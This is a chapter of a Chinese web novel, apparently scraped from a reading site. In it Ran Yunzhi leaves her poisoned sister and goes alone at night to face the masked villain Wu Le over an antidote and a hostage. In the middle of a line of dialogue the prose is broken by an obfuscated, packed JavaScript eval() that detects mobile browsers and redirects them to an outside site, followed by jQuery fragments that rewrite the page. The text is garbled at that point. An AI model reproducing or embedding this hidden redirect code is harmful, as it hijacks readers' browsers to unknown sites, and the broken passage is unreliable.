先前多次交战,戴苍低估了无乐门的能力,十几个黑衣人他尚且不放在心上,可谁知刀剑划开皮肉,武力尽失,他才发觉流出的是黑血,方才得知刀剑有毒。
形势逆转,他只能一面护着冉云清,以防毒素扩散,一面快刀斩乱麻,剑光翻飞之间,生生杀出一条血路。
冉云清迅速点了穴道不至于毒素扩散,那样危机的情境下,她不能让自己成为戴苍的累赘。
两人并未多说什么,冉云祉也知道两人定是经历过一番殊死搏斗,如今两人落得这个境地,受伤皆是因为她。
如果不是因为她一意孤行离开山庄,没有救下烛乐,执意要来找邹公子,那么无乐就不会趁虚而入使出阴险手段,也不会让他们陷入这样危险的阵地。
可是没有如果。
她如坐针毡,明亮的眼睛里也失去了神采:“对不起,让你们担心了,以后我再也不任性了。”
他们临时找了一处医馆歇脚,冉云祉神色凝重地使用灵泉玉。
灵泉玉能治愈伤口,却不能解天下奇毒。她一遍遍的拿灵泉玉去试,但灵泉玉的微光闪过后再也未曾亮起。
戴苍看了看,摇摇头:“这毒拖上三日,师妹经脉尽毁,怕是这一辈子都没办法持剑了。”
无乐门主一出手便是如此狠毒,不留情面,喜欢摧毁别人最珍视的东西,却不给人一刀来个痛快。
冉云祉咬着牙执拗地再试了一次。
“不用尝试了。”眼看她额头沁出冷汗,冉云清拦下她。
戴苍低着头思考对策,沉吟道:“既然无乐门主没有对我们下死手,想必他还在盯着我们。”
越是在这种焦灼万分的时刻,戴苍便会显露出他可靠的一面。
“他想要灵泉玉。”冉云祉起身,“他想逼我交出灵泉玉,才用此下三滥的招数。”
不愧是大反派,什么招式狠毒用什么,她越来越鄙视他。
但这人却很奇怪,顺着他他会冷冷嘲讽,确实骂他,他看起来还挺兴奋?
挺变态的一个人。
“痴心妄想。”
冉云清将衣袖挽下,那里经过灵泉玉的治疗已经看不出伤口,可是毒素还留在体内,她拿起剑试了试,内力全无。
此刻的她和一个普通人没什么分别。
“都是因为我姐姐才受伤。”冉云祉低下头自责,不敢直视两人的眼睛,“我就不该……”
“二小姐不用自责,这与你无关,我们之前得罪了无乐门主。按照他的性子,没有你,他也绝不会轻易放过我们。”
不一样的,如果灵泉玉不在她身上,那么至少他们不会这样被动。
看着她神情沮丧,冉云清给戴苍递了个眼神,后者看了她一眼,意识到姐妹俩有话要说,心领神会的离开房间,贴心地将门关好。
“我问你,烛乐到底去哪里了?”冉云清注视着她的表情,开口询问。
她总觉得这个烛乐很奇怪。
提到烛乐的名字,冉云祉眼底更是愧疚。人是跟着她的,若是死在无乐手里,她一辈子都不会原谅自己。
“姐姐,我真不能说,我是不是不该多管闲事?”冉云祉深吸一口气,视线恍然望向一个点,“都是我的错。”
冉云清替她擦擦额头的汗,柔声道:“如果不是你出现,灵泉玉已经在无乐手里了。这一次是我能力不足,没有考虑周全,怎会怪你?”
“可是我还是做错了。”
冉云清轻笑,定定地望着她的眼睛:“我们又不是神,不是机器,怎么会做到一次错误不犯?我在你这个年纪的时候,犯过的错误可多了。”
她语重心长,犹如一位经历风雨的长姐,指引她走出迷雾:“不管你做什么,重要的是无愧于心,你热心善良,错的怎么会是你,错的只会是那些心思歹毒之人。”
手心被紧紧握住,冉云清轻轻地抱了抱她。
“我一直想对你说一句话。如果说这个世界都是虚幻的一场梦,那只有与我来自同一个世界的你是真实的。既然我是你的姐姐,那我拼全力也会护你周全。如果你做错了事,作为长姐,那我会帮你纠正。”
冉云祉埋在她的怀里,几欲流泪。
初见冉云清时认为她冷漠不近人情,得知她现世的身份又觉得贵不可攀,可她今天才知道她并不是冷淡,她只是不会表达自己的内心。
她随心所欲不计后果地犯蠢,冉云清没有一声责备,包容她所有的任性,告诉她“你这样很好”,哪怕她做错了,她也会说“我会替你纠正。”
明明没有血缘,却是比血缘更为紧密的存在。
她将眼泪生生忍住了,她不应该这么颓废,让他们为自己担心。
“姐姐,我不会让人伤害你的。”
这是我做错的事,我会直面一切,哪怕我自己身死,我也要试一次。
她一字一顿,坚定地告诉她,也是告诉自己:“我们一定会完成任务,平安地回到自己的世界去。”
屋内谈话的声音渐渐小了,戴苍倚在门边,听着里面断断续续的声音。
清风徐徐,树影摇曳,他抬头遥望远处湛蓝天穹,眉目里难得有了一丝不易察觉的忧虑。
“果然……不是呢……”
声音隐入月色里,再无声息。
*
夜深人静,确认冉云清与戴苍睡下之后,冉云祉晃晃悠悠的强撑着从床上爬起来。
如她所料,只要一使用灵泉玉,她必定要烧一夜,但不管怎样,这一次她也得去赴约。
她与无乐之间,必须要有一个结果。
如果他真要杀了自己,早就如初见时不由分说一刀结果她,他没动手,事情应该还有回旋的余地。
她没有筹码,可是那又如何?她惹出来的祸端,就让她自己解决好了。
留下一封信交代了此行的目的,或者将其称为遗书更为合适。她轻手轻脚的推开门,向着白日里去过的山林前进。
月光从天边飘动的朦胧乌云中洒下,透过树叶间隙,落在地面像是斑驳的寒霜冷冽。冉云祉手持提灯,高热灼烧的她头痛欲裂,模模糊糊几乎看不清前方,差点撞上一棵树。
“那条路怎么走来着……”这里的每一棵树看起来都长的是一个样子,晚上廖无人烟,远处传来的几声窸窸窣窣的声响。只有她手里的提灯在这夏夜里发出微弱的光亮。
踏过低矮繁密的灌木丛,绕过拦路的碎石,她沿着几乎看不见的车辙缓缓前行。
她一手揉着额头,拼命睁着眼睛,可是视线里却仍是模糊一片,并没有发现地面有一个低洼的小坑。她的脚一下子踏空,失重的感觉一下子涌来,她站立不稳,正要往地下摔去。
可当她真正要摔倒地上时,有人抢先一步将她捞了起来,借了力让她稳稳站在自己面前。
隔着衣料,冰凉的感觉还是传给了她,让置身在火热感觉里的冉云祉稍微回神,抬头便看到那双比冰雪还要寒凉的眸子。
若她仔细去看的话,那双除了冷漠没什么其他情绪的眼睛里多了一种极为纠结复杂的情绪。
“我来赴约了,你不准动烛乐,还有,解药给我!”她踮脚扯住他的衣领,嘴角抿成一个倔强的弧度,丝毫不落下风。
无乐盯着她的视线几秒,却没有回答她,将她往身旁带了带,像是对什么人吩咐:“处理一下。”
他的语气还是没有什么波动,自她身后传来嘈杂的声响,好像有谁在呼唤她,可她没有听清,因为无乐已经将她带离了那处地方。
无乐瞥了一眼她脸上不自然的薄红,眉头微蹙:“身上这么烫,谁让你用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439647|150747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灵泉玉了?”
周围的景象迅速倒退,他快速在林间奔走跳跃,有这样的速度,可见他的轻功绝不在戴苍之下,然而这人却像扛麻袋一样将她十分粗鲁的扛在肩头,全然不顾她此刻胃里翻江倒海。
冉云祉只觉得周围景象迅速幻化,她挣脱不得,只能被动的接受他这样的对待,原本就不舒服的头更加眩晕:“灵泉玉在我身上我想用就用!反正我来赴约了!你别动烛乐听见没!”
她脑海里想说的话很有气势,可因高烧说出来的话却是软绵绵有气无力的。
“哼,倒是还记得烛乐。”他完全忽略了后半句,语气忽而带了几分调笑,终于寻到一处僻静之所,终于停下脚步,将人扔到地上,轻轻弹了弹衣服上的褶皱。
冉云祉在地上滚了一圈,撞得头晕眼花,眼前好像有许多小星星在晃,几乎躺在地上晕死过去不动了。
无乐看她没声响,走上前踢了踢她:“起来,刚才的气势呢。”
她强睁着眼睛看向那高高在上俯视自己的人,重重的呼出一口气,难受的半晌没说话。
无乐将她面上的恼意尽收眼底,他清楚地知道冉云祉是一个贪生怕死的自私小人,且烛乐与她萍水相逢,他没想到她真的会只身前来送死。
刚才那个讨厌的小尾巴,按照她的反应来看,应该是不知情的,那他也就不计较她泄密了。
“病成这样还来,当真不怕死。”
冉云祉闭上眼睛。身上每一处好像被架在大火翻烤,整个人都像要燃烧起来。
她废了好大的力气才听清无乐说的是什么,缓过神来,一下子从地上坐起来:“少废话,你想玩什么,我奉陪。但是你要是言而无信杀了我,姐姐和三殿下便会飞鸽传书,江湖上就会到处传播你欺负弱女子,以及各种奇怪癖好的传闻,让你声名狼藉!”
反正她小命都不要了,什么都豁的出去。
“你觉得我在意么?”他斜睨了她一眼,指尖忽而凝起,聚成小小的冰片,裹成布条黏到她的额头上。
“什么鬼东西!”这东西贴上来的瞬间,稍稍缓和了她的痛楚,竟意外的带给她一种舒适的感觉,好似干枯许久的大地终于遇到了那一抹甘霖。
“带着,我可不想跟一个神志不清的人玩游戏。”他轻嗤一声,瞧着她眼里恢复了一些神采,趁她不注意,撕下她的一块衣摆垫在身下。
“老流氓!”她怒骂一声,看着自己的裙子心疼极了,“你干嘛扯我的衣服!”
“地上脏。”他眉头都不皱,“还有,你跟我约定赌那小子的命,解药并不在我们的赌约之内。”
“……”
“可谁让我心软,嗯……我允许你选择?”无乐蹲下来,带着面具的脸狰狞地靠近她:“说吧,要那个小子活下去,还是要一颗救你姐姐经脉的解药?对你来说,并不难吧?”
他心头都漫上一股自嘲,他又能听到什么答案呢?
萍水相逢的路人和深厚血缘的亲人,傻子都知道怎么选。
她并不回答,无乐等了几秒,期待不断下坠,一时有些急切,抓住她的肩膀说道:“快选!”
或者说他不想等待那么久迎来失望。
“烛乐和姐姐,我都不能放弃。”肩膀上的痛楚清晰,她咬住嘴角让自己的理智回神,坚定地凝视着他的眼睛,“你为什么总是想让我做出选择?你之前是不是很痛苦,以至于你痛恨所有人?”
说罢她又摇头:“不,你也痛恨自己,你不止想毁掉这个世界……你是不是也想把你自己毁了?”
眼前人的瞳孔剧烈震颤,似乎是被戳中了心底最隐秘的伤疤,连同他的呼吸都停滞几秒。
“我最讨厌别人揣测我的心思。”他提起她的衣领,眼神冷的仿佛下一秒就会把她碾成粉末,“你还知道多少?”